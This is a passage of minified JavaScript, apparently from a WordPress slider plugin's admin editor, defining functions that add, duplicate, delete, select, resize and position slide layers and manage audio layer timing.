0!==e.alias?e.alias+"-"+t.uid:t.alias,"copy"===e.copyPaste?(window.copyPasteLayersSlideId=RVS.S.slideId,window.copyPasteLayers.amount++,t.copiedFromUid=e.layerobject.uid,window.copyPasteLayers.layers[t.uid]=t):(void 0!==e.layerobject&&RVS.F.duplicateSkinColors({type:"layer",layerFrom:void 0!==e.layerobject.copiedFromUid?e.layerobject.copiedFromUid:e.layerobject.uid,layerTo:t.uid,slideFrom:window.copyPasteLayersSlideId,slideTo:RVS.S.slideId}),delete t.copiedFromUid,RVS.SLIDER[RVS.S.slideId].layers[t.uid]=t,RVS.F.backup({path:t.uid,icon:"layers",txt:"Create New Layer",lastkey:"newlayer",force:!0,slideid:RVS.S.slideId,val:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId]).layers[t.uid],old:{},backupType:"layer",bckpGrType:"addlayer"})),e.buildHTMLLayer&&"copy"!==e.copyPaste&&RVS.F.buildHTMLLayer({uid:t.uid}),t.uid},RVS.F.extendLayerTypes=function(e){if(RVS.S.extendedLayerTypes=void 0===RVS.S.extendedLayerTypes?{}:RVS.S.extendedLayerTypes,void 0===RVS.S.extendedLayerTypes[e.subtype]){var t;if(e.extension.subtype=e.subtype,RVS.S.extendedLayerTypes[e.subtype]={type:e.type,subtype:e.subtype,extension:e.extension},e.subdrop){if(t='<div id="toolbar_add_layer_'+e.alias+'" class="toolbar_dd_subdrop_wrap">',e.objLibInMainMenu?t+='<div class="add_layer" data-type="'+e.type+'" data-subtype="object_library" data-libevent="'+e.libevent+'" data-extensiongroup="'+e.subtype+'" data-libfilters="'+e.libfilters+'"><i class="material-icons">'+e.icon+"</i>"+e.alias+"</div>":t+='<div class="add_layer" data-type="'+e.type+'" data-subtype="'+e.subtype+'"><i class="material-icons">'+e.icon+"</i>"+e.alias+"</div>",t+='<div class="toolbar_dd_subdrop">',e.objectlibrary&&(t+='<div class="add_layer" data-type="'+e.type+'" data-subtype="object_library" data-libevent="'+e.libevent+'" data-extensiongroup="'+e.subtype+'" data-libfilters="'+e.libfilters+'"><i class="material-icons">style</i>Object Library</div>'),e.emptyplaceholder&&(t+='<div class="add_layer" data-type="'+e.type+'" data-subtype="'+e.subtype+'"><i class="material-icons">flip_to_back</i>Empty Placeholder</div>'),e.subList)for(var i in e.subList)e.subList.hasOwnProperty(i)&&(t+='<div class="add_layer" data-evt="'+e.subList[i].evt+'" data-type="'+e.type+'" data-subtype="'+e.subtype+'" data-subsubtype="'+i+'"><i class="material-icons">'+e.subList[i].icon+"</i>"+e.subList[i].name+"</div>");t+="</div>",t+="</div>"}else t='<div class="add_layer" data-type="'+e.type+'" data-subtype="'+e.subtype+'"><i class="material-icons">'+e.icon+"</i>"+e.alias+"</div>";jQuery(t).insertAfter("#toolbar_add_layer_group")}},RVS.F.addLayer=function(e){RVS.DOC.trigger("changeToLayerMode"),e.ignoreBackupGroup||RVS.F.openBackupGroup({id:"addLayer",txt:"Create New "+e.type+" Layer",icon:"layers",lastkey:"layer"});var t,i,a,r="paste"===e.copyPaste?window.copyPasteLayers.layers:RVS.L;switch(e.type){case"row":if(void 0===e.duplicateId){t=i=RVS.F.addLayerToLayers({type:"row",alias:"row",buildHTMLLayer:!0});for(var s=0;s<3;s++)RVS.F.addLayerToLayers({type:"column",puid:t,alias:"column",buildHTMLLayer:!0})}else{t=i=RVS.F.addLayerToLayers({layerobject:r[e.duplicateId],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix,newGroupOrder:!0});var o=RVS.F.getColumnsInRow({layerid:e.duplicateId,copyPaste:e.copyPaste});for(var n in o)if(o.hasOwnProperty(n)){var l=RVS.F.addLayerToLayers({puid:t,layerobject:r[o[n]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix}),d=RVS.F.getLayersFirstDepth({layerid:o[n],copyPaste:e.copyPaste});for(var S in d)d.hasOwnProperty(S)&&RVS.F.addLayerToLayers({puid:l,layerobject:r[d[S]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix})}}break;case"column":var c;if(void 0===e.duplicateId)i=RVS.F.addLayerToLayers({type:"column",puid:e.puid,alias:"column",buildHTMLLayer:!0});else for(var S in c=i=RVS.F.addLayerToLayers({layerobject:r[e.duplicateId],newGroupOrder:!0,buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix}),a=RVS.F.getLayersFirstDepth({layerid:e.duplicateId,copyPaste:e.copyPaste}))a.hasOwnProperty(S)&&RVS.F.addLayerToLayers({puid:c,layerobject:r[a[S]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix});break;case"group":var p;if(void 0===e.duplicateId)i=RVS.F.addLayerToLayers({type:"group",alias:"group",buildHTMLLayer:!0});else for(var S in p=i=RVS.F.addLayerToLayers({layerobject:r[e.duplicateId],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix,newGroupOrder:!0}),a=RVS.F.getLayersFirstDepth({layerid:e.duplicateId,copyPaste:e.copyPaste}))a.hasOwnProperty(S)&&RVS.F.addLayerToLayers({puid:p,layerobject:r[a[S]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix});break;case"linebreak":i=RVS.F.addLayerToLayers({type:"shape",alias:"linebreak",buildHTMLLayer:!0,extension:{size:{width:{d:{v:"100%"},n:{v:"100%"},t:{v:"100%"},m:{v:"100%"}},height:{d:{v:"10px"},n:{v:"10px"},t:{v:"10px"},m:{v:"10px"}}},idle:{backgroundColor:"transparent",clear:{d:{v:"both"},n:{v:"both"},t:{v:"both"},m:{v:"both"}}},linebreak:!0}});break;default:switch(i="predefined"===e.subtype?RVS.F.addLayerToLayers({type:e.type,alias:e.type,buildHTMLLayer:!0,extension:e.extension}):void 0===e.duplicateId?void 0!==RVS.S.extendedLayerTypes&&void 0!==RVS.S.extendedLayerTypes[e.subtype]||void 0!==RVS.S.extendedLayerTypes&&void 0!==e.extensiongroup&&void 0!==RVS.S.extendedLayerTypes[e.extensiongroup]?void 0!==e.extensiongroup?RVS.F.addLayerToLayers({type:e.type,alias:e.type,extension:RVS.S.extendedLayerTypes[e.extensiongroup].extension,buildHTMLLayer:!0}):RVS.F.addLayerToLayers({type:e.type,alias:e.type,extension:RVS.S.extendedLayerTypes[e.subtype].extension,buildHTMLLayer:!0}):RVS.F.addLayerToLayers({type:e.type,alias:e.type,buildHTMLLayer:!0}):RVS.F.addLayerToLayers({layerobject:r[e.duplicateId],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix,newGroupOrder:-1!==r[e.duplicateId].group.puid}),e.subtype){case"wordpress_library":"image"===e.type?jQuery("#image_layer_media_library_button").trigger("click"):"video"===e.type&&jQuery("#video_layer_media_library_button").trigger("click");break;case"object_library":if("object"===e.type)RVS.F.openObjectLibrary({types:["fonticons","svgs","svgcustom"],filter:"all",selected:["fonticons"],success:{icon:"insertContentFromOL"}});else if("image"===e.type)jQuery("#image_layer_object_library_button").trigger("click");else if("video"===e.type)jQuery("#video_layer_object_library_button").trigger("click");else if(void 0!==e.libfilters){var R=e.libfilters.split(",");RVS.F.openObjectLibrary({types:R,filter:"all",selected:[R[0]],success:{custom:e.libevent},extension:e.extensiongroup})}break;case"headline":e.ignoreBackupGroup=!0,RVS.F.openQuickStyle({bacupGroupOpen:"addLayer",list:["headlines","content"]});break;case"simple_content":e.ignoreBackupGroup=!0,RVS.F.openQuickStyle({bacupGroupOpen:"addLayer",list:["content","headlines"]});break;case"button":e.ignoreBackupGroup=!0,RVS.F.openQuickStyle({bacupGroupOpen:"addLayer",list:["button"]})}}return e.ignoreBackupGroup||RVS.F.closeBackupGroup({id:"addLayer"}),e.ignoreLayerList||RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),e.ignoreOrderHTMLLayers||RVS.F.reOrderHTMLLayers(),void 0!==RVS.eMode&&"layer"===RVS.eMode.top&&"animation"===RVS.eMode.mode&&RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_style",!0),RVS.DOC.trigger("layerAdded",{layerid:i,params:e}),i},RVS.F.deleteLayerfromLayers=function(e){if(RVS.DOC.trigger("changeToLayerMode"),void 0!==RVS.L[e.layerid]){var t=!1;switch(void 0!==e.groupisopen||RVS.S.bckpGrp||(RVS.S.bckpGrp||(t=!0),RVS.F.openBackupGroup({id:"removeLayer",txt:"Remove "+RVS.L[e.layerid].type+" Layer",icon:"delete",lastkey:"layer"})),RVS.L[e.layerid].type){case"row":var i=RVS.F.getColumnsInRow({layerid:e.layerid});for(var a in i)if(i.hasOwnProperty(a)){var r=RVS.F.getLayersFirstDepth({layerid:i[a]});for(var s in r)r.hasOwnProperty(s)&&(void 0!==e.newpuid?RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+r[s]+".group.puid",val:e.newpuid}):(RVS.F.backup({path:r[s],icon:"layers",txt:"Remove Layer",lastkey:"removelayer",slideid:RVS.S.slideId,force:!0,val:{},old:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId]).layers[r[s]],backupType:"layer",bckpGrType:"removelayer"}),delete RVS.SLIDER[RVS.S.slideId].layers[r[s]],jQuery("#_lc_"+RVS.S.slideId+"_"+r[s]+"_").remove(),delete RVS.H[r[s]]));RVS.F.backup({path:i[a],icon:"layers",txt:"Remove Layer",lastkey:"removelayer",slideid:RVS.S.slideId,force:!0,val:{},old:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId]).layers[i[a]],backupType:"layer",bckpGrType:"removelayer"}),delete RVS.SLIDER[RVS.S.slideId].layers[i[a]],jQuery("#_lc_"+RVS.S.slideId+"_"+i[a]+"_").remove(),delete RVS.H[i[a]]}break;case"column":case"group":r=RVS.F.getLayersFirstDepth({layerid:e.layerid});for(var s in r)r.hasOwnProperty(s)&&(void 0!==e.newpuid?RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+r[s]+".group.puid",val:e.newpuid}):(RVS.F.backup({path:r[s],icon:"layers",txt:"Remove Layer",lastkey:"removelayer",force:!0,slideid:RVS.S.slideId,val:{},old:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId]).layers[r[s]],backupType:"layer",bckpGrType:"removelayer"}),delete RVS.SLIDER[RVS.S.slideId].layers[r[s]],jQuery("#_lc_"+RVS.S.slideId+"_"+r[s]+"_").remove(),delete RVS.H[r[s]]))}RVS.F.backup({path:e.layerid,icon:"layers",txt:"Remove Layer",lastkey:"removelayer",slideid:RVS.S.slideId,force:!0,val:{},old:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId]).layers[e.layerid],backupType:"layer",bckpGrType:"removelayer"}),delete RVS.SLIDER[RVS.S.slideId].layers[e.layerid],delete RVS.H[e.layerid],jQuery("#_lc_"+RVS.S.slideId+"_"+e.layerid+"_").remove(),t&&(RVS.F.closeBackupGroup({id:"removeLayer"}),RVS.F.buildLayerLists({force:!0}))}},RVS.F.updateSelectedHtmlLayers=function(e,t){requestAnimationFrame(function(){for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&"top"!==i&&"bottom"!==i&&"middle"!==i&&(!e&&RVS.F.inSelectedLayers({id:i})&&void 0!==RVS.H[i]?(RVS.H[i].w[0].classList.add("selected"),RVS.H[i].selected=!0,RVS.F.setZindex({id:i,o:475})):void 0!==RVS.H[i]&&(!0!==t&&(RVS.H[i].w[0].classList.remove("selected"),RVS.H[i].selected=!1),RVS.F.setZindex({id:i})))})},RVS.F.updateStaticStartEndList=function(){window.staticLayerStartIndex=void 0===window.staticLayerStartIndex?jQuery("#staticlayer_Startindex"):window.staticLayerStartIndex,window.staticLayerEndIndex=void 0===window.staticLayerEndIndex?jQuery("#staticlayer_Endindex"):window.staticLayerEndIndex,RVS.F.removeAllOptionsS2({select:window.staticLayerStartIndex}),RVS.F.removeAllOptionsS2({select:window.staticLayerEndIndex});for(var e=1;e<RVS.SLIDER.slideIDs.length-1;e++)RVS.F.addOptionS2({select:window.staticLayerStartIndex,val:e.toString(),txt:e}),RVS.F.addOptionS2({select:window.staticLayerEndIndex,val:(e+1).toString(),txt:e+1});RVS.F.addOptionS2({select:window.staticLayerEndIndex,val:"last",txt:RVS_LANG.lastslide})},RVS.F.setZindex=function(e){e.o=null==e.o?0:e.o,tpGS.gsap.set(RVS.H[e.id].w,{zIndex:parseInt(RVS.L[e.id].position.zIndex,0)+parseInt(e.o,0)})},RVS.F.allLayersReDraw=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&RVS.F.drawHTMLLayer({uid:e})},RVS.F.selectedLayersVisualUpdate=function(){for(var e in jQuery(".layerselector").removeClass("checked"),jQuery(".tllayerlist_element").removeClass("checked"),RVS.S.selLayerTypes)RVS.S.selLayerTypes.hasOwnProperty(e)&&(RVS.S.selLayerTypes[e]=!1);var t=!1,i="";for(var a in RVS.selLayers)RVS.selLayers.hasOwnProperty(a)&&(jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.selLayers[a]).addClass("checked"),jQuery("#tllayerlist_element_selector_"+RVS.S.slideId+"_"+RVS.selLayers[a]).addClass("checked"),t||-1==RVS.L[RVS.selLayers[a]].group.puid||"column"!==RVS.L[RVS.L[RVS.selLayers[a]].group.puid].type||(t=!0),RVS.S.selLayerTypes[RVS.L[RVS.selLayers[a]].type]=!0);for(var e in RVS.S.selLayerTypes)RVS.S.selLayerTypes.hasOwnProperty(e)&&RVS.S.selLayerTypes[e]&&(i=i+" _"+e+"_sel_");i=""===(i=!0===t?i+" _layer_in_column_sel_":i)?"no_layers_selected":i,i=RVS.selLayers.length>1?i+" multiple_layers_selected":i,RVS.C.the_cont[0].className=i},RVS.F.doResizeLayers=function(e){if(!(RVS.selLayers.length>1||0===RVS.selLayers.length))switch(e.mode){case"init":if(window.RSCBS={},window.RSCBS[RVS.selLayers[0]]=o(RVS.L[RVS.selLayers[0]]),"group"===RVS.L[RVS.selLayers[0]].type||"auto"!==window.RSCBS[RVS.selLayers[0]].width||-1!==RVS.L[RVS.selLayers[0]].group.puid||"text"!==RVS.L[RVS.selLayers[0]].type&&"button"!==RVS.L[RVS.selLayers[0]].type||("full"!==window.RSCBS[RVS.selLayers[0]].wrap&&"normal"!==window.RSCBS[RVS.selLayers[0]].wrap||(RVS.L[RVS.selLayers[0]].idle.whiteSpace[RVS.screen].v="content"),window.RSCBS[RVS.selLayers[0]].CacheWidth=window.RSCBS[RVS.selLayers[0]].width,window.RSCBS[RVS.selLayers[0]].width="auto"===window.RSCBS[RVS.selLayers[0]].width?RVS.H[RVS.selLayers[0]].w.width():window.RSCBS[RVS.selLayers[0]].width),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers=RVS.F.getLayersFirstDepth({layerid:RVS.selLayers[0]}),window.RSCBS.layers)window.RSCBS[window.RSCBS.layers[t]]=o(RVS.L[window.RSCBS.layers[t]]);break;case"update":if(l({layerid:RVS.selLayers[0],size:e.size}),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers)l({layerid:window.RSCBS.layers[t],size:e.size,ingroup:!0});break;case"set":var i=!1;if("group"!==RVS.L[RVS.selLayers[0]].type&&-1===RVS.L[RVS.selLayers[0]].group.puid&&("text"===RVS.L[RVS.selLayers[0]].type||"button"===RVS.L[RVS.selLayers[0]].type)&&RVS.S.layer_grid_offset.left+RVS.S.lgw>RVS.H[RVS.selLayers[0]].w.offset().left+RVS.H[RVS.selLayers[0]].w.width()&&(i=!0,window.RSCBS[RVS.selLayers[0]].width="auto"===window.RSCBS[RVS.selLayers[0]].CacheWidth?"auto":window.RSCBS[RVS.selLayers[0]].width),l({layerid:RVS.selLayers[0],size:1}),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers)l({layerid:window.RSCBS.layers[t],size:1});if(RVS.F.openBackupGroup({id:"layerScaling",txt:"Layer Scaling",icon:"layers",lastkey:"layer"}),n({layerid:RVS.selLayers[0],size:e.size,ignore:!1,redraw:!0,updatefields:!0,ignoreBackup:!1}),!0===i?RVS.L[RVS.selLayers[0]].idle.whiteSpace[RVS.screen].v=window.RSCBS[RVS.selLayers[0]].wrap:"group"===RVS.L[RVS.selLayers[0]].type||-1!==RVS.L[RVS.selLayers[0]].group.puid||"text"!==RVS.L[RVS.selLayers[0]].type&&"button"!==RVS.L[RVS.selLayers[0]].type||window.RSCBS[RVS.selLayers[0]].width===window.RSCBS[RVS.selLayers[0]].CacheWidth||"auto"!=window.RSCBS[RVS.selLayers[0]].CacheWidth||RVS.F.showInfo({content:RVS_LANG.layerbleedsout,type:"info",showdelay:0,hidedelay:8,hideon:"",event:""}),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers)n({layerid:window.RSCBS.layers[t],size:e.size,ingroup:!0,ignore:!1,redraw:!0,updatefields:!0,ignoreBackup:!1});RVS.F.closeBackupGroup({id:"layerScaling"})}},RVS.F.selectLayers=function(e){RVS.S.justresized||(e=void 0===e?{}:e,"animation"!==RVS.eMode.mode?RVS.S.keyFrame="idle":!0===e.keepSelectedFrame&&void 0!==RVS.S.keyFrame||(e.selectedKeyFrame=void 0===e.selectedKeyFrame?"idle":e.selectedKeyFrame,RVS.S.keyFrame=e.selectedKeyFrame),void 0===e||"add"!==e.action||void 0===e.id||!RVS.L[e.id].visibility||!RVS.L[e.id].visibility.locked&&RVS.L[e.id].visibility.visible||(e.action="remove"),e.ignoreModeChange||"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu||(RVS.F.mainMode({set:!1,ignoreReDraw:!0,mode:"slidelayout"}),RVS.F.showHideLayerEditor({mode:"slidecontent",openSettings:!1})),e.overwrite?RVS.selLayers=[]:RVS.selLayers.length>0&&!e.quickmode&&"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu&&RVS.F.showInfo({content:RVS_LANG.noMultipleSelectionOfLayers,type:"info",showdelay:.2,hidedelay:2,hideon:"",event:""}),e.id="top"===e.id||"bottom"===e.id||"middle"===e.id?"ignore":void 0===e.id?e.id:parseInt(e.id,0),void 0!==e.id&&"ignore"!==e.id&&("add"===e.action&&-1==jQuery.inArray(e.id,RVS.selLayers)?RVS.selLayers.push(e.id):"remove"===e.action&&-1!==jQuery.inArray(e.id,RVS.selLayers)&&RVS.selLayers.splice(jQuery.inArray(e.id,RVS.selLayers),1)),!0===e.ignoreUpdate||e.quickmode||("onlyhtml"!==e.ignoreUpdate&&RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),"animation"!==RVS.eMode.mode&&RVS.F.updateAllLayerToIDLE(),RVS.F.updateSelectedLayersIdleHover()),!0===e.ignoreFieldUpdates||e.quickmode?e.quickmode?RVS.F.updateSelectedHtmlLayers():window.qstyle_library_open&&RVS.F.updateAvailableLayerTypes():(RVS.F.updateLayerInputFields({short:!0}),RVS.C.slit.textContent=1===RVS.selLayers.length?RVS.F.getLayerIcon(RVS.L[RVS.selLayers[0]].type,RVS.L[RVS.selLayers[0]].subtype):"layers",RVS.DOC.trigger("selectLayersDone"),RVS.F.checkForAudioLayer()),void 0!==e.selectedKeyFrame?(RVS.TL.cache.main=(RVS.F.getTimeAtSelectedFrameEnd()-2)/100,RVS.TL.cache.main<=0?RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"selectLayers"}):RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0})):e.quickmode||0!==RVS.selLayers.length||jQuery("framewrap.selected").removeClass("selected"),!e.quickmode&&RVS.S.shwLayerAnim&&RVS.DOC.trigger("previewLayerAnimation"))},RVS.F.convertTimeToSec=function(e,t){e=""===e?parseFloat(t):e;var i=!RVS.F.isNumeric(e)&&e.indexOf(":")>=0,a=0;return e=i?e.split(":"):e,null==(a=i&&e.length>1?60*parseFloat(e[0])+parseFloat(e[1]):i?parseFloat(e[0]):e)?0:a},RVS.F.updateAudioTimes=function(e){if(1==RVS.selLayers.length&&"audio"===RVS.L[RVS.selLayers[0]].type){RVS.L[RVS.selLayers[0]].media.startAt=""===RVS.L[RVS.selLayers[0]].media.startAt?0:RVS.L[RVS.selLayers[0]].media.startAt,RVS.L[RVS.selLayers[0]].media.endAt=""===RVS.L[RVS.selLayers[0]].media.endAt?e:RVS.L[RVS.selLayers[0]].media.endAt,RVS.L[RVS.selLayers[0]].media.endAt=RVS.L[RVS.selLayers[0]].media.endAt>e?e:RVS.L[RVS.selLayers[0]].media.endAt,document.getElementById("layer_video_start").value=RVS.L[RVS.selLayers[0]].media.startAt,document.getElementById("layer_video_end").value=RVS.L[RVS.selLayers[0]].media.endAt;var t=RVS.F.convertTimeToSec(RVS.L[RVS.selLayers[0]].media.startAt,0),i=RVS.F.convertTimeToSec(RVS.L[RVS.selLayers[0]].media.endAt,window.audiomaster.getDuration());i=0===i||i<=t?window.audiomaster.getDuration():i,window.audiomaster.regions.destroy(),window.audioregion=window.audiomaster.regions.add({start:t,end:i,color:"rgba(0,109,210,0.2)"}),window.audioregion.on("update",function(){RVS.L[RVS.selLayers[0]].media.startAt=window.audioregion.start,RVS.L[RVS.selLayers[0]].media.endAt=window.audioregion.end,document.getElementById("layer_video_start").value=RVS.L[RVS.selLayers[0]].media.startAt,document.getElementById("layer_video_end").value=RVS.L[RVS.selLayers[0]].media.endAt}),window.audioregion.on("dblclick",function(){window.audioregion.play()})}},RVS.F.checkForAudioLayer=function(){1==RVS.selLayers.length&&"audio"===RVS.L[RVS.selLayers[0]].type&&""!==RVS.L[RVS.selLayers[0]].media.audioUrl&&"FAIL"!==window.audiomaster&&(void 0===window.audiomaster?(RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.audiolibraryloading}),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/wavesurfer.js",function(){window.audiomaster=WaveSurfer.create({container:"#media_audio_master",cursorColor:"#5e35b1",progressColor:"transparent",height:30,plugins:[WaveSurfer.regions.create({})]}),RVS.DOC.on("listenAudioMaster",function(){window.audiomaster.play()}),RVS.DOC.on("muteAudioMaster",function(){window.audiomaster.pause()}),RVS.DOC.on("updateaudiorange",function(){RVS.F.updateAudioTimes(window.audiomaster.getDuration())}),RVS.F.checkForAudioLayer(),setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100)}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.audiomaster="FAIL"})):(window.audiomaster.on("ready",function(){RVS.F.updateAudioTimes(window.audiomaster.getDuration()),jQuery("#audio_simulator").removeClass("disabled")}),window.audiomaster.on("loading",function(){jQuery("#audio_simulator").addClass("disabled")}),window.audiomaster.on("finish",function(){RVS.F.changeSwitchState({el:jQuery("#audio_simulator")[0],state:"play"})}),window.audiomaster.load(RVS.L[RVS.selLayers[0]].media.audioUrl)))},RVS.F.updateSelectedLayersIdleHover=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&void 0!==RVS.H[e]&&("idle"===RVS.eMode.mode&&void 0!==RVS.H[e].hover?RVS.H[e].hover.seek(0).pause():"hover"!==RVS.eMode.mode||!0!==RVS.L[e].hover.usehover&&"true"!==RVS.L[e].hover.usehover&&"desktop"!==RVS.L[e].hover.usehover||void 0===RVS.H[e].hover||(jQuery.inArray(parseInt(e,0),RVS.selLayers)>=0?RVS.H[e].hover.seek(9999).pause():(RVS.F.drawHTMLLayer({uid:e}),RVS.H[e].hover.seek(0).pause())))},RVS.F.checkCurrentLayerHoverMode=function(e){"hover"!==RVS.eMode.mode||"true"!=RVS.L[e.layerid].hover.usehover&&1!=RVS.L[e.layerid].hover.usehover&&"desktop"!=RVS.L[e.layerid].hover.usehover||void 0===RVS.H[e.layerid].hover||RVS.H[e.layerid].hover.seek(9999).pause()},RVS.F.getRowStructures=function(e){if("row"===RVS.L[e.layerid].type){var t=RVS.F.getColumnsInRow({layerid:e.layerid}),i="",a=0;for(var r in t)t.hasOwnProperty(r)&&(i=0===a?"":i+"+",i+=RVS.L[t[r]].group.columnSize,a++);return i}},RVS.F.updateRowColumnField=function(){var e="",t=!1;for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i],r="";"row"===RVS.L[a].type?r=RVS.F.getRowStructures({layerid:a}):"column"===RVS.L[a].type&&(r=RVS.F.getRowStructures({layerid:RVS.L[RVS.L[a].group.puid].uid})),"row"!==RVS.L[a].type&&"column"!==RVS.L[a].type||t||(""===e||e===r?e=r:(t=!0,e=""))}jQuery("#row_column_structure").val(RVS.F.sanitize_columns(e)).change()},RVS.F.getPrevNextLayerInOrder=function(e,t){if(void 0!==RVS.L[e]&&void 0!==RVS.L[e].group&&void 0!==RVS.L[e].group.puid){var i={order:"next"===t?99999:-2,id:e};for(var a in RVS.L)RVS.L.hasOwnProperty(a)&&RVS.L[a].group&&RVS.L[a].group.puid==RVS.L[e].group.puid&&("next"===t&&RVS.L[a].group.groupOrder>RVS.L[e].group.groupOrder&&RVS.L[a].group.groupOrder<i.order||"prev"===t&&RVS.L[a].group.groupOrder<RVS.L[e].group.groupOrder&&RVS.L[a].group.groupOrder>i.order)&&(i.order=RVS.L[a].group.groupOrder,i.id=RVS.L[a].uid);return i.id}},RVS.F.getColumnsInRow=function(e){var t=[],i=[];if(e.type=void 0===e.type?"column":e.type,"paste"===e.copyPaste)for(var a in window.copyPasteLayers.layers)window.copyPasteLayers.layers.hasOwnProperty(a)&&window.copyPasteLayers.layers[a].type===e.type&&window.copyPasteLayers.layers[a].group.puid==e.layerid&&t.push({order:window.copyPasteLayers.layers[a].group.groupOrder,uid:window.copyPasteLayers.layers[a].uid});else for(var a in RVS.L)RVS.L.hasOwnProperty(a)&&RVS.L[a].type===e.type&&RVS.L[a].group.puid==e.layerid&&t.push({order:RVS.L[a].group.groupOrder,uid:RVS.L[a].uid});for(var a in t.sort(function(e,t){return e.order-t.order}),t)t.hasOwnProperty(a)&&i.push(t[a].uid);return i},RVS.F.getLayersFirstDepth=function(e){var t=[];if("paste"===e.copyPaste)for(var i in window.copyPasteLayers.layers)window.copyPasteLayers.layers.hasOwnProperty(i)&&window.copyPasteLayers.layers[i].group.puid==e.layerid&&t.push(window.copyPasteLayers.layers[i].uid);else for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&RVS.L[i].group.puid==e.layerid&&t.push(RVS.L[i].uid);return t},RVS.F.getLayersAllDepth=function(e){var t=[];for(var i in RVS.L)if(RVS.L.hasOwnProperty(i)&&RVS.L[i].group.puid==e.layerid)if("column"===RVS.L[i].type){var a=RVS.F.getLayersFirstDepth({layerid:RVS.L[i].uid});for(var r in a)a.hasOwnProperty(r)&&t.push(a[r].uid)}else t.push(RVS.L[i].uid);return t},RVS.F.inSelectedLayers=function(e){var t=!1;for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&RVS.selLayers[i]==e.id&&(t=!0);return t},RVS.F.notOnRoot=function(e){return void 0!==e&&void 0!==e.group&&void 0!==e.group.puid&&e.group.puid>=0&&e.group.puid<=5e3},RVS.F.groupOrColumn=function(e){return null!=e&&("column"===e.type||"group"===e.type)},RVS.F.getFirstSelectedType=function(e){var t=!1;for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(!1===t&&RVS.L[RVS.selLayers[i]].type===e&&(t=RVS.selLayers[i]),!1===t&&RVS.F.notOnRoot(RVS.L[RVS.selLayers[i]])&&RVS.L[RVS.L[RVS.selLayers[i]].group.puid].type===e&&(t=RVS.L[RVS.selLayers[i]].group.puid));return t},RVS.F.updateAllHTMLLayerPositions=function(e){for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&(void 0===RVS.L[t].position.x||null!=e&&"slide"!==RVS.L[t].behavior.baseAlign||RVS.F.updateHTMLLayerPosition({uid:t}))},RVS.F.updateHTMLLayerPosition=function(e){var t=RVS.H[e.uid],i=RVS.L[e.uid];if(void 0!==i&&void 0!==t){var a,r,s={left:0,top:0},o=null==e.o?{x:0,y:0}:e.o,n=i.position.vertical[RVS.screen].v,l=i.position.horizontal[RVS.screen].v;if(a=r={x:parseInt(i.position.x[RVS.screen].v,0),y:+parseInt(i.position.y[RVS.screen].v,0)},s.force3D=!0,"row"===i.type||"column"===i.type||-1!==i.group.puid&&"column"===RVS.L[i.group.puid].type)requestAnimationFrame(function(){"relative"!==t.w[0].style.position&&tpGS.gsap.set(t.w,{x:0,y:0,position:"relative",left:"auto",right:"auto",top:"auto",bottom:"auto"})});else{var d=void 0===e.lhCwidth?t.c.outerWidth():e.lhCwidth,S=void 0===e.lhCheight?t.c.outerHeight():e.lhCheight,c=-1===i.group.puid?{width:RVS.C.layergrid.width(),height:RVS.C.layergrid.height()}:{width:RVS.H[i.group.puid].w.width(),height:RVS.H[i.group.puid].w.height()},p={x:"center"===l?c.width/2-d/2:a.x,y:"middle"===n?c.height/2-S/2:a.y};if(e.snapToGrid&&RVS.S.DaD.sameLevelNotColumn){var 